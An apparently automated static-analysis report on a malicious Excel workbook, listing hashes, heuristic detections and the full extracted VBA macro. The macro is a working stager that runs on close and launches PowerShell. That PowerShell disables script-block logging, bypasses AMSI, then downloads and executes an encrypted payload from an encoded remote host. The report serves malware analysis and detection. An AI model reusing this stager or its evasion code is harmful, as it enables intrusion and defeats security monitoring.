Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e9ce3aae419f5b5f…

MALICIOUS

Office (OOXML)

16.8 KB Created: 2020-10-31 16:00:37 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-11-05
MD5: c2031ffe85c0281461c3a2f2e642d650 SHA-1: ce507069588ab64ddcfef3a9ed4c3d212578723a SHA-256: e9ce3aae419f5b5fdab8db4cd1e1822fd302c4b7e259032942b4dd7110054aa7
228 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set asd = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        PtppCVE = PtppCVE + "s\PowerShell\ScriptB'+'lockLogging']=$VaL}ELSe{[Sc"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set asd = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5835 bytes
SHA-256: 2152edbec1c0d6e0d738ca96017065e2758d73e7f8d9318a301ca420a17e4252
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub AutoClose()
    cfUMCqFy
End Sub

Public Function cfUMCqFy() As Variant
    Dim PtppCVE As String
    PtppCVE = "$ErrorActionPreference = "SilentlyContinue";$53F1="
    PtppCVE = PtppCVE + "[REf].AsSEMBlY.GetTYPe('System.Management.Automati"
    PtppCVE = PtppCVE + "on.Utils')."GeTFIE`Ld"('cachedGroupPolicySettings'"
    PtppCVE = PtppCVE + ",'N'+'onPublic,Static');IF($53F1){$A653=$53F1.GeTV"
    PtppCVE = PtppCVE + "aLuE($nulL);If($A653['ScriptB'+'lockLogging']){$a6"
    PtppCVE = PtppCVE + "53['ScriptB'+'lockLogging']['EnableScriptB'+'lockL"
    PtppCVE = PtppCVE + "ogging']=0;$a653['ScriptB'+'lockLogging']['EnableS"
    PtppCVE = PtppCVE + "criptBlockInvocationLogging']=0}$VaL=[COllectIons."
    PtppCVE = PtppCVE + "GEnErIC.DICTIonARy[StriNG,SYsTEM.Object]]::NEw();$"
    PtppCVE = PtppCVE + "Val.ADD('EnableScriptB'+'lockLogging',0);$VAl.AdD("
    PtppCVE = PtppCVE + "'EnableScriptBlockInvocationLogging',0);$a653['HKE"
    PtppCVE = PtppCVE + "Y_LOCAL_MACHINE\Software\Policies\Microsoft\Window"
    PtppCVE = PtppCVE + "s\PowerShell\ScriptB'+'lockLogging']=$VaL}ELSe{[Sc"
    PtppCVE = PtppCVE + "rIPTBlocK]."GEtFIE`LD"('signatures','N'+'onPublic,"
    PtppCVE = PtppCVE + "Static').SeTVAluE($null,(NEW-OBJeCT COLLeCtiONs.GE"
    PtppCVE = PtppCVE + "nerIc.HasHSEt[STrINg]))}$REf=[REF].ASSembLy.GEtTyP"
    PtppCVE = PtppCVE + "E('System.Management.Automation.Amsi'+'Utils');$RE"
    PtppCVE = PtppCVE + "F.GEtFIeLD('amsiInitF'+'ailed','NonPublic,Static')"
    PtppCVE = PtppCVE + ".SETVAluE($nuLL,$tRUe);$MethodDefinition = "[DllIm"
    PtppCVE = PtppCVE + "port(`"kernel32`")]public static extern IntPtr Get"
    PtppCVE = PtppCVE + "ProcAddress(IntPtr hModule, string procName);[DllI"
    PtppCVE = PtppCVE + "mport(`"kernel32`")]public static extern IntPtr Ge"
    PtppCVE = PtppCVE + "tModuleHandle(string lpModuleName);[DllImport(`"ke"
    PtppCVE = PtppCVE + "rnel32`")]public static extern bool VirtualProtect"
    PtppCVE = PtppCVE + "(IntPtr lpAddress, UIntPtr dwSize, uint flNewProte"
    PtppCVE = PtppCVE + "ct, out uint lpflOldProtect);";$Kernel32 = Add-Typ"
    PtppCVE = PtppCVE + "e -MemberDefinition $MethodDefinition -Name 'Kerne"
    PtppCVE = PtppCVE + "l32' -NameSpace 'Win32' -PassThru;$ABSD = 'AmsiS'+"
    PtppCVE = PtppCVE + "'canBuffer';$handle = [Win32.Kernel32]::GetModuleH"
    PtppCVE = PtppCVE + "andle('amsi.dll');[IntPtr]$BufferAddress = [Win32."
    PtppCVE = PtppCVE + "Kernel32]::GetProcAddress($handle, $ABSD);[UInt32]"
    PtppCVE = PtppCVE + "$Size = 0x5;[UInt32]$ProtectFlag = 0x40;[UInt32]$O"
    PtppCVE = PtppCVE + "ldProtectFlag = 0;[Win32.Kernel32]::VirtualProtect"
    PtppCVE = PtppCVE + "($BufferAddress, $Size, $ProtectFlag, [Ref]$OldPro"
    PtppCVE = PtppCVE + "tectFlag);$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x5"
    PtppCVE = PtppCVE + "7, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint"
    PtppCVE = PtppCVE + "32]0xC3);[system.runtime.interopservices.marshal]:"
    PtppCVE = PtppCVE + ":copy($buf, 0, $BufferAddress, 6); $1Ff4=NEW-Objec"
    PtppCVE = PtppCVE + "T SYsTEM.NEt.WebClienT;$u='Mozilla/5.0 (Windows NT"
    PtppCVE = PtppCVE + " 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gec"
    PtppCVE = PtppCVE + "ko';$ser=$([TeXt.EnCodInG]::UNiCode.GetSTrInG([CoN"
    PtppCVE = PtppCVE + "VerT]::FrOmBASE64StrING('aAB0AHQAcAA6AC8ALwAxADAAL"
    PtppCVE = PtppCVE + "gAxADAALgAxADAALgAxADAAOgA4ADAAOAA4AA==')));$t='/n"
    PtppCVE = PtppCVE + "ews.php';$1ff4.HeAdERs.ADd('User-Agent',$u);$1fF4."
    PtppCVE = PtppCVE + "ProxY=[SYstEm.Net.WebREQuEsT]::DEfaULtWEbPRoxY;$1f"
    PtppCVE = PtppCVE + "F4.ProXy.CrEDeNtIAlS = [SYSteM.Net.CreDENtiAlCAcHe"
    PtppCVE = PtppCVE + "]::DefaUlTNeTWorkCrEDenTiaLs;$Script:Proxy = $1ff4"
    PtppCVE = PtppCVE + ".Proxy;$K=[SYStEM.Text.ENCoding]::ASCII.GetByTEs('"
    PtppCVE = PtppCVE + "iV5p>On+L(YlZ-.m38NR2e}I,DAFSxH)');$R={$D,$K=$ARGS"
    PtppCVE = PtppCVE + ";$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUnT])"
    PtppCVE = PtppCVE + "%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%2"
    PtppCVE = PtppCVE + "56;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];"
    PtppCVE = PtppCVE + "$_-bXOr$S[($S[$I]+$S[$H])%256]}};$1ff4.HEAdErS.ADd"
    PtppCVE = PtppCVE + "("Cookie","FyBHzQlnE=n/aR2hS72olazmbq8BSE8BfmpZw=""
    PtppCVE = PtppCVE + ");$DATa=$1fF4.DowNLOaDDATA($ser+$T);$IV=$DatA[0..3"
    PtppCVE = PtppCVE + "];$daTA=$DAtA[4..$dATA.lENGth];-JoiN[CHAr[]](& $R "
    PtppCVE = PtppCVE + "$data ($IV+$K))|IEX"
    Set asd = CreateObject("WScript.Shell")
    asd.Run (PtppCVE)
End Function


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22528 bytes
SHA-256: 48f2e3e5e71975667c7a4d7a9f0b89360f6a8bbb3046ae6ba068d14a63095870